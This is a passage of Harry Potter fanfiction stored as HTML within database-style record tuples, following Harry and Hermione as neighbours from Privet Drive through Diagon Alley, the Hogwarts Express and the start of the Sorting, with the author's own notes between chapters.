class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry and Hermione felt as if everybody had left the Three\nBroomsticks and</p>\n\n<p class="MsoNormal">faced each other and sang to each other instead of the\ncrowd.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Darling, so there you are</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">With that look on your face</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As if you\'re never hurt</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As if you\'re never down&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They faced the crowd again. This time, they were holding\nhands. Ron, in the shadows,</p>\n\n<p class="MsoNormal">stopped kissing Paravati to look up at his friends. He\nsmiled and signaled</p>\n\n<p class="MsoNormal">Paravati to look. &#8220;I always knew they were meant to be.&#8221; She\nsaid</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Shall I be the one for you</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Who pinches you softly but sure</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">If frown is shown then I will know</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">that you are no dreamer...&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The crowd cheered loudly. Once Harry and Hermione kissed,\nthey cheered louder.</p>\n\n<p class="MsoNormal">&#8220;Well, I guess we can tell who the winner is. Thanks to\ntheir last addition in</p>\n\n<p class="MsoNormal">their performance&#8230; Harry Potter and Hermione Granger!&#8221; Madam\nRosmerta yelled through</p>\n\n<p class="MsoNormal">the new fans of Harry and Hermione. Ron jumped out of his\nseat and grabbed the</p>\n\n<p class="MsoNormal">trophy before Harry and Hermione could get there. &#8220;Thank\nyou! I never would</p>\n\n<p class="MsoNormal">have been able to do this without all of&#8230;&#8221; &#8220;But out Ron!&#8221;\nHermione yelled,</p>\n\n<p class="MsoNormal">pushing him out of the spotlight. In the shadows, they heard\na loud crashing.</p>\n\n<p class="MsoNormal">Harry and Hermione took their trophy, kissed in victory and\nleft the stage with</p>\n\n<p class="MsoNormal">tons of roses. </p>\n\n\n\n\n\n\n'),
	(262, 1, '\n\n\n\n<p class="MsoNormal">Diagon Ally</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Disclaimer: I do not own any of the original Harry Potter\ncharacters, the only thing that belongs to me is</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The green misty smoke was all around the house of Gordic\'s\nHollow. Ethan Granger stepped out of his house to meet see what happened to his\nneighbor\'s house. At the first sight of the wreckage, his first thought was\n&quot;Voldemort&quot;. As he walked around the ruins, he saw two men. One\nextremely large man with a messy beard and a handsome man on a gigantic\nmotorcycle were talking in the smoke.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Give Harry to me Rubeus, I am his godfather after all,\nit is my responsibility to take care of him if James and Lily are. in no\ncondition to.&quot; The man in the motorcycle said calmly to the giant\'s fierce\nface. (Note: In Harry Potter Year 1, in &quot;The Potions Master&quot;\n&quot;Like Hagrid, Fang was clearly not as fierce as he looked&quot;)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\'m sorry Sirius, but I can\' allow `hat. Professor\nDumbledore gave me direct orders to bring Harry ter number 4, Privet Drive. Oh,\npretend yeh didn\'t \'ear that, that\'s top secret-&quot; After his last line he\nclamped his mouth. (I always wondered how Sirius knew Harry lived at number 4,\nPrivet Drive, if everyone was too scared to even face him enough to tell him.)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Sirius seemed to have given up; it was as if there was no\nway to change this Hagrid\'s mind if it was a direct order from this Dumbledore\nfellow. &quot;Fine, I just hope Dumbledore knows what he is doing. You can\'t\napparate could you?&quot; Hagrid stared at his shoes. &quot;Use my motorcycle,\nI have no use of it anymore.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Yeh sure Sirius? Yeh love that bike.&quot; Sirius\nnodded. &quot;Alrigh\', thanks,&quot; With that, the giant sat on the motorcycle\nwhich all of the sudden grew to match the giant\'s size. &quot;Goodbye\nSirius,&quot; and with a roar of the engine, the Hagrid and the motorcycle disappeared\nfrom sight. Once Ethan looked down to see where Sirius would go, Sirius already\napparated away.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Not a minute later after Sirius left, people who seemed to\nbe news crews sprang from nowhere with questions like &quot;What\'s your\nname?&quot; &quot;Is You-Know- Who dead?&quot; and &quot;How does it feel to be\n\'The man who lived?\'&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">All Ethan could say was &quot;No comments&quot; as if he was\nsome famous man going through some press. He heard several of the reporters\nsay, \'Hear that folks? Not only is the man who defeated You-Know-Who strong, he\nis also very modest.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">After trying 10 minutes trying to get as far as he could\nfrom the magical cameras, he finally made it to his home. His wife came from\nthe kitchen with a grim face. &quot;Are. the Potters. dead?&quot; was all she\ncould say.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;All \'cept the boy. He is being taken to Dumbledore. As\nfor You-Know-Who, he disappeared.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Is he gone then Ethan? I don\'t want the same fate for\ndear Hermione. She is only a year old, she is too young to die&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Don\'t worry Martha, I am sure You-Know-Who wont be\nback. hopefully he is gone. for good.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;How is that possible? Who defeated him? Was it\nDumbledore? Why do you seem to be so happy?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I defeated him Martha,&quot; He said with a giant\ngrin, guess why such a big crowd is outside?&quot; He pushed aside the drapes\nand a millisecond later blinding flashes came from outside. He quickly set the\ndrapes back to stop them from blinding his wife. He was surprised at Martha\'s\nreaction when she regained her composure, instead of being delighted and proud\nof him, she was, however, extremely mad.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You didn\'t defeat him, did you?&quot; She asked\ngetting her answer from his guilty face. She later gave into her relief that he\nis at least alive. She gave a sigh, &quot;Well, can we at least move to some\nplace secluded? I don\'t want the fame to go to Hermione\'s head.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ethan gave a huge grin as her wife finally accepted fame,\n&quot;Where do you have in mind?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;How about number 4, Privet Drive? I have a cousin who\nlives there, but don\'t tell them we are magical, they will be freaked out. I\nhear his wife is the aunt of Harry Potter, more or less Dumbledore would send\nhim to his only relatives.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~* 10 Years Later *~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;MUM, Harry is going to burn my breakfast and we are\ngoing to be late to go to the zoo. I want to be the first one there!&quot; A\nfat boy screamed at his mother. After scolding Harry for making perfect\nsausages &quot;on purpose to insult his cousin&quot;, he was sent to Aunt and\nUncle Granger\'s home next-door. Even though Harry was in no way related to the\nGrangers, he was forced to called them Aunt and Uncle.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Within no time, he became good friends with their daughter\nHermione. Whenever they were walking around town, he would always find it\nstrange that strangers would always greet her, shake her hand, and even bow to\nher, and believe it or not, a crazy pregnant woman even asked to pray in front\nof Hermione so her child could be blessed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As they were walking down around the park, he finally asked\nas another group of strange people in cloaks greeted her, &quot;Why do so many\nstrangers know you?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I thought you knew, practically the whole wizarding\nworld knows me.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Wizarding, as in magic? You know magic?&quot; He asked\nin disbelief.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Yeah, well, not really. You know, you\'re a\nwizard.&quot; As soon as she said it, she regretted it. She forgot that Harry\nnever knew and was supposed to be told so as soon as they finished their walk.\nTo her relief, Harry stopped asking questions and just walked silently ever\nsince.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Once they made it back to the Granger house, Ethan and\nMartha were already there with serious faces. &quot;Harry, sit.&quot; Harry was\nabout to come back saying he was no pet dog but gave into his stern glare.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harry, you may not know this, but you are a wizard, as\nmuch of a wizard as our darling daughter. Now, don\'t go thinking being a witch\nor wizard is a bad thing, not all of us are bad. However the wizard who\nmurdered your parents are. To stop you from joining the dark side, let me tell\nyou this; good always win, just as I defeated the powerful dark wizard.\nVoldemort,&quot; Martha gave him a glare, but Harry and Hermione didn\'t notice.\nHarry listened in shock as Hermione gave a fake snore as if it was the\nthousandth he repeated this story.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Anyway, back to the point, we have received your\nletter of acceptance to Hogwarts along with Hermione\'s-&quot;\n&quot;REALLY?&quot; Hermione screamed, she had read &quot;Hogwarts: A History&quot;\nmillions of times, and now she finally gets to go there, even her parents had\nonly been to Beauxbaton and she gets to go to the best school in the Europe.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ethan nodded and gave the letters to their owners. Harry\nlooked at his letter. &quot;Dear Mr. Potter.(Yadiyadiyada, you know how it\ngoes)&quot; After reading a few times with eyes wide open, he was instructed to\nlook at the second page, it had all the items needed for school. After 5\nminutes of reading in amazement Hermione finally broke his trance with a scream\nif frustration, &quot;I can\'t believe they don\'t let us have our own brooms,\nthat\'s not fair!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry smiled meekly. &quot;Now you two, a man named Rubeus\nHagrid will pick you two up at 9 sharp in the mourning, sadly we have work\ntomorrow and can\'t join you two in shopping.&quot; Hermione smiled at this, now\nshe could stay in Flourish &amp; Blotts for as long as she wants. &quot;Of\ncourse, you have to follow Mr. Hagrid wherever he goes.&quot; Hermione\'s smile\nquickly turned to a frown.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The next mourning, Harry woke from his little room (a gift\nfrom the Dursleys on his 7th Birthday) with a knock at 9 He groggily got up\nfrom his bed and went to open the door. Hermione would have smiled and said hi\nuntil she saw him standing only in is boxers. Instead she turned away blushing.\n&quot;Um. Harry, maybe you should put something on.&quot; Harry looked down on\nhimself, blushed as well, and quickly put on some jeans and a plain white T-\nshirt.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They left the house and Hermione was still red. Harry looked\nat the giant standing not too far away. &quot;\'Arry! I haven\'t seen yeh in\nages. Yeh were a wee lad when. Ahem. Sorry, trailed off there for a sec.\nAnyway, me name is Rubeus Hagrid. You can just call me Hagrid, that\'s what\neverybody does.&quot; &quot;Hi,&quot; Harry and Hermione said in unison.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">After their introduction, Hagrid pulled out a wooden stick\nand waved it. As if on cue a purple bus with gold lettering &quot;The Knight\nBus&quot;, Hermione shrieked with joy, &quot;Oh, the Knight Bus, I read about\nthis-&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hermione, a bus is not really a subject to talk about,\nno offense, you are very smart and all, but not a bus.&quot; Harry said with a\ngrin. Hermione was blushing furiously at his comment although she couldn\'t\nunderstand why. Her parents commented her on being smart, but it never had this\nmuch effect on her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry finally noticed Hermione\'s face was all red.\n&quot;Hermione, are you feeling okay?&quot; He placed a hand on Hermione\'s\nforehead, which made her go into a deeper shade of red. &quot;Merlin, you\'re\nburning up, maybe we should take you back home.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harry, I\'m fine, really.&quot; She mustered a lot of\nenergy to stop herself from squeaking. &quot;Besides, I need to get my supplies\nand I feel like going out on a beautiful day like this.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;So tell me more about this school,&quot; and they\nspent the rest of the bus ride talking about the houses, Quidditch, classes,\nand the Hogwarts Express.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Alrigh\' first stop, Gringott\'s Wizarding Bank,&quot;\nHagrid quickly stopped as soon as he said those words. &quot;Um, Hermione, yeh\nbeen ter Gringotts, err, maybe yeh should take him ter get his money, I \'ate\nthem inferno carts. Makes me sick&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Okay.&quot; Hermione said uneasily, for some reason,\nshe was no longer as comfortable being alone with him as she usually is. *Don\'t\nworry, you will at least have the goblin along with you.* This calmed her a\nlittle, but not a whole lot of use.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Not a moment later, god came to her rescue as Hagrid came\nbustling to them. &quot;I forgot ter give yeh Harry\'s key. As soon as Hagrid\nleft them, her stomach began to give birth to a thousand butterflies per\nminute.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Once they got to Harry vault, she began to explain,\n&quot;The gold coins are galleons, silver are sickles, and the bronze are\nKnuts. There are 29 Knuts to a Sickle, and 17 Sickles to a Galleon.&quot; She\nexplained it rather quickly, even for herself. Harry however found this cute.\nThey got to Hermione\'s vault; it was slightly smaller than Harry\'s but no one\ncould really tell the difference. She grabbed what she needed and got on the\ncart. For the remainder of the time, she was quite, even for herself when she\nwas mad.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hermione, did I do something to make you mad?&quot;\nHarry asked innocently as they walked towards Hagrid. &quot;You seem awfully\nquite all of the sudden..&quot; &quot;.&quot; Harry was beginning to worry.\n&quot;Hermy? Hermione, maybe we should take you home and come back a few hours\nlater. that is if it is okay with you Hagrid.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;That is fine with me,&quot; Hagrid said pulling out\nhis wand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;No, I am fine, I just dosed off for a second, really,\nI am okay.&quot; Hermione said finally free from her trance.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Okay Hermy, if you say so.&quot; After going to Madam\nMalkin\'s Robes for All Occasions and Apothecary, they headed for Flourish and\nBlotts. Harry and Hagrid restrained Hermione from buying all the books as they\ndrew nearer. Once they had to leave, they had to drag her kicking and\nscreaming. &quot;I\'m not done, everything I need is in here and I belong here.\nLet me go!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They finally convinced her that it was time to get their\nwands. Hermione was first up for Mr. Ollivander, &quot;Which is your wand\narm?&quot; Hermione stuck out her right arm and he measured it. &quot;Hmm,\ninteresting, I believe this is the wand for you, Redwood and unicorn hair, 10\ninches, rather springy. Give it a wave.&quot; Hermione did so and a golden mist\nerupted from the wand. &quot;Ah, the perfect wand for you Ms. Granger, now. I\ndear say, Mr. Potter. It seems only yesterday when your parents were in here,\ngetting their wands. Sit, sit. Now raise your wand arm. Harry raised his right\narm as Hermione did and Mr. Ollivander measured it. &quot;Interesting, I have a\npowerful wand, over 50 years of age, it is, but I believe you are destined for\nit. Holly and phoenix feather, eleven inches, nice and supple.&quot; Harry gave\nit a wave as instructed, and the wand shot out red and gold sparks from the end\nlike fireworks, throwing dancing spots of light on to the walls. Afterwards,\nHarry felt like he just pasted the world\'s toughest test.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Sorry, that will be all, I\'ll try to post in 2 days,\nhopefully, this will be better than my other fics. I hope you enjoy ^^</p>\n\n\n\n\n\n\n'),
	(262, 2, '\n\n\n\n<p class="MsoNormal">Hogwarts Express</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Time passed quite quickly, and before anyone noticed,\nSeptember First was the next day. Harry lay in bed awake, petting Hedwig, the\npet owl he got for his birthday from the Grangers. Normally owls enjoy a stroke\noccasionally, but not when it was continuous, it gets annoying. In addition,\nthere are times when an owl just has enough, that\'s when Hedwig bit his finger\nrather hard. &quot;Ouch, what was that for Hedwig?&quot; He looked down at his\nfaithful owl; its feathers were in a mess. &quot;Sorry, I guess I am kinda\nnervous about school.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The next day Harry left the house early to go for a jog\naround the neighborhood. The Dursleys couldn\'t care less where he was; in fact,\nthey were hoping he would be kidnapped. While he was going through the park, he\nnoticed an unusual amount of owls flying in daylight. He turned around to get\nback to Privet Drive to find himself at the front door. He looked around and\ndidn\'t see a single tree around him. He shrugged it off and took a shower.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As it was about time to leave, Harry gathered his supplies\nand left for the Granger house but not with a goodbye from the Dursleys,\n&quot;Go and never come back!&quot; Harry couldn\'t help but grin at the\ncomment, oh how he wishes he could leave them forever. He entered the Granger house\nand was greeted by a cheerful Martha Granger, and a half awake Ethan and\nHermione Granger, Ethan later helped with the luggage as Martha made extra\nroast beef sandwiches for them to eat on the train ride.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">To Hermione\'s discomfort, she sat next to Harry and her nervousness\ngrew. As Ethan drove on, he looked at the mirror to see how to kids were doing.\nHe saw her daughter staring outside all stiff and in deep thought.\n&quot;Hermione, remember the talk we had last night, you\'re too young.&quot;\nHermione sighed, decided to change the subject, and tried to get into a\nconversation with Harry about Hogsmeade.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Time few on and while on the road, Ethan turned into the\npath to a forest. Once they were out of sight from public, he pushed the third\nred button from the right and a portal opened in front of the car. Ethan drove\ninto it and in the next minute, they were right outside Platform 9 of King\'s\nCross. &quot;What just happened?&quot; Harry blurted out without thinking.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Warp Key,&quot; Hermione said as if it was the most\nobvious thing in the world. &quot;It is similar to a Port Key, but more\ncomplicated to conjure and easier to use.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I am going to be very behind, aren\'t I?&quot; Harry\nasked looking at the ground. Hermione suddenly felt a pang of guilt hit her.\nShe made her best friend feel useless.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Come on Harry, you\'re not going to be behind.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I don\'t know anything about magic though,&quot; Harry\nsaid slumping down more than he did at first.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Now that doesn\'t mean anything. I don\'t know.&quot;\nHermione paused trying to think of a single spell she never heard about. It was\nhard because if she hasn\'t heard of it, then she wouldn\'t know the name of it.\n&quot;Well, there are tons of muggle born witches and wizards that don\'t know a\nbit of magic, but they catch up quickly.&quot; She said when she gave up trying\nto think of a spell.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;So where is this barrier we are supposed to go to? I\ndon\'t see any Platform Nine and Three-quarters.&quot; Harry asked when he\ndidn\'t see any sign of a train within eyesight.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She pushed her cart in front of the dividing barrier, Harry\ndid the same and they pushed their carts in together without anybody noticing.\nJust as they passed the barrier, something landed on Hermione\'s head and she\nlet out a horrified shriek. &quot;Trevor,&quot; The boy yelled when he saw\nHarry taking the toad off Hermione\'s head, he thanked them and went off to his\ngrandmother.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Its okay Hermione, the scary toad monster is gone\nnow,&quot; Harry\'s tease earned him a playful hit on the chest.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;It\'s not funny, how would you like it if something\nslimy jumped on you?&quot; Hermione said trying her best to keep her dignity.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Well, I guess I would be more curious what that slimy\nthing is than to scream about it.&quot; Harry said with a smirk while they\nheaded for a compartment.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Oh shut up and lets find an empty compartment.&quot;\nThey finally found an empty compartment and changed to their robes. Harry sat\ndown and before he knew it, he fell asleep. Harry later woke up when the train\nhit a bump. Hermione was asleep and her head landed on Harry\'s shoulder as they\nhit another bump, *She seems so peaceful and cute when she is asleep*. He\nblushed as soon as he noticed what he just thought.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Bertie Bott\'s Every Flavor Beans, Cauldron Cakes,\nChocolate Frogs, Drooble\'s Best Blowing Gum, Licorice Wands, Pumpkin\nPasties...would you like some snacks young man? Maybe some for your girlfriend\nwhen she wakes up,&quot; the snack lady added noticing their position.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Ah, I\'ll buy some of each, and she\'s not my\ngirlfriend, she is just a good friend.&quot; Harry said with a red face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I see, by the color of your skin, I am sure that you\nwant her to be your girlfriend, aye?&quot; The snack lady conversed while\nhanding him his snacks. What they both didn\'t notice was that Hermione was\neavesdropping. &quot;Here you go, that will be eleven Sickles and seven Knuts,\nand by the way, you\'re \'good friend\' is awake,&quot; and she left him to what\nHarry believed to be his doom.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You, ah, weren\'t listening at first, right?&quot;\nHarry asked rather shakily.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;No, I just woke up when you got us snacks.&quot; She\nlied quickly, &quot;Ooo, Cauldron Cakes.&quot; She shoved some into Harry\'s\nmouth to keep him from catching on. Then, to her rescue, a redhead boy came\ninto their compartment.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Um, hello, my name is Ron Weasley, my brothers kicked\nmy out of their compartment, and almost every other is full.&quot; No sooner\nhad he finished, the compartment door opened again and there came a blond hair\nboy with two guards at his side.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Get out of the way Weasel. You are blocking my path,\nyou think you are so big now that your father is Minister of Magic.&quot; The\nblond boy said shoving him aside.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Malfoy, like the dragon you are, get slain\nalready.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;And who is gonna do that? Well, well, if it isn\'t\nHermione, Ethan\'s kid.&quot; Malfoy ignored Ron, walked up to Hermione,\n&quot;My name is Malfoy, Draco Malfoy, and these two beside me are Vincent\nCrabbe, and Gregory (A/n: was it Gregory? I can\'t remember) Goyle. Now that I\nhave properly introduced myself, I must warn you of some people. people like\nHIM.&quot; Malfoy said looking at Ron. &quot;He, his father, and all the other\nWeasleys give us pureblooded a bad name.&quot; He gave a snarl of disgust.\n&quot;You are better off without his sort, I can help you in that\ndepartment.&quot; Malfoy held out his hand to shake and to Harry\'s relief, she\ndidn\'t take it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;He seemed quite polite if you ask me, and who are you\nto tell me who I am supposed to be with, I am fine on my own. Another thing,\nhow dare you talk about the minister that way, he is twice the man the old\nCornelius Fudge was. He even proved Sirius Black innocent from the murder he\ndidn\'t commit.&quot; Malfoy and his goons were backing up in fear as Hermione\ntowered over them until they left the compartment.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Um, thanks you for defending my family.&quot; Ron said\nnot wanting to get on her bad side.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;No problem,&quot; she said sweetly and pulled a book\nfrom her bag and started reading.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;And you\'re used to this mate?&quot; Ron whispered to\nHarry\'s ear.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Well, once you get to know her, she is really sweet\nand a really nice person to be with.&quot; Harry said a little too loud and\nHermione who overheard blushed deeply. Once Hermione got bored of reading, she\nand Ron got into an argument of the next Quidditch World Cup while Harry\nlistened in amusement. Thanks to the Quidditch talk, time passed rather quickly\nand the train finally reached its destination.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&gt;-&gt;-&gt;-&gt;-&gt;Well, that\'s it for this chapter,\nsorry for not updating like I scheduled, but I really was sidetracked. I didn\'t\nexpect this much work from High School. Well, I hope you review, cause without\nit, I probably won\'t post another chapter at all.&lt;-&lt;-&lt;-&lt;-&lt;</p>\n\n\n\n\n\n\n'),
	(262, 3, '\n\n\n\n<p class="MsoNormal">Enter Hogwarts: School of Witchcraft and Wizardry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;First years! First years over here!&quot; The man\nyelled nearby. &quot;My name is Augustus Filch, I am gamekeeper as well as\njanitor of Hogwarts: School of Witchcraft and Wizardry. Please follow me and we\nshall enter the Hogwarts shortly.&quot; The young student followed obediently,\nFilch didn\'t seem like a person to cross. They reached a lake full of little\nboats; Harry suspected they were magical, since there were no oars or motors.\n&quot;Okay, into a boat, no more than to a boat, hold on tightly or the giant\nsquid will tip you over.&quot; Filch sneered as the children shivered at the\nthought of being eaten by the giant squid. He let out a sigh and regrettably\nsaid, &quot;The squid will only tip you over playfully, and if you fall out, it\nwill place you back on the boat you were in.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry, Ron, Hermione, and Neville, the boy who lost his toad\nat the platform, got into one boat. No less than ten minutes on the boat, the\nsquid tipped the boat a little and Neville fell over for not holding on to the\nboat properly. When he fell into the water, he could hardly tread on the water.\nHarry, Ron, and Hermione really wanted to help him, but they were too far away\nand the boat showed no sign of going back. Not a second later, a giant tentacle\nsprang up and Hermione shrieked at the sight. The tentacle later placed the dry\nNeville back upon the boat next to Ron. &quot;That was bloody brilliant!&quot;\nRon said and tried to jump off the boat, but Harry and Hermione held onto him,\n&quot;Uh, we don\'t think so.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Once they reached land, they hiked up (is it just me? Or is\nHogwarts up on a hill?) to the castle. Filch banged on the door three times and\nHagrid opened the doors. &quot;The first years, Hagrid,&quot; Filch said and\nbefore Hagrid could reply, Filch left. &quot;This way firs\' years,&quot; Hagrid\nsaid gesturing deeper into the castle walls. Hagrid stopped in front of a\nclosed doorway. &quot;Wait here,&quot; and with that he vanished.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">No sooner had he left, a ghost, or rather a poltergeist,\npopped out of nowhere and vanished again. &quot;Ah, ickle firsties. About to be\nsorted, I see. Well how can you get SORTED, if you are no longer alive,\nHAHAHAHA!&quot; crackled an evil voice from nowhere. Some of the student\nshivered in fear until. &quot;Deletrius!&quot; Hermione shouted with her wand\nout and the poltergeist appeared once more. &quot;Waddiwasi,&quot; yelled\nHagrid who just got there, pointing his wand at the poltergeist and a piece of\nchewed gum flew out of the poltergeist\'s mouth and into his nose. &quot;Let\nthat be a lesson to yeh, Peeves,&quot; Hagrid said with a smirk,\n&quot;Now.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hagrid pushed open the door revealing the Great Hall, there\nwere candles floating in the air like the torches at the hallways they were in\nbefore, four tables, one with people really nasty looking, and a stool with a\ndirty old hat on top of it. One second, all the students were looking at the\nhat, the next the candles flickered off, and the hat started to sing and twirl\n(A/n: sorry for not making up a song, but if I made one up, you definitely\nwould not want to hear it ^^.) &quot;Now, as I call yer name, please come up\nand put this hat on. Abbot, Hanna,&quot; Hagrid called. It took a minute, but\nlater to Harry\'s surprise, the hat shouted, &quot;Hufflepuff!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender Brown became the first Gryffindor of their year,\nTerry Boot was first Ravenclaw, and Millicent Bulstrode became the first\nSlytherin. Harry laughed as Hermione ran up to the hat and jammed it on her\nhead as soon as her name was called. &quot;Gryffindor,&quot; the hat shouted\nand the table at the far left (A/n: and I right?) clapped loudly as she joined\ntheir table. Draco Malfoy walked up to the hat with his nose in the air with\npride as his name was called. Before his hand even touched the hat, it 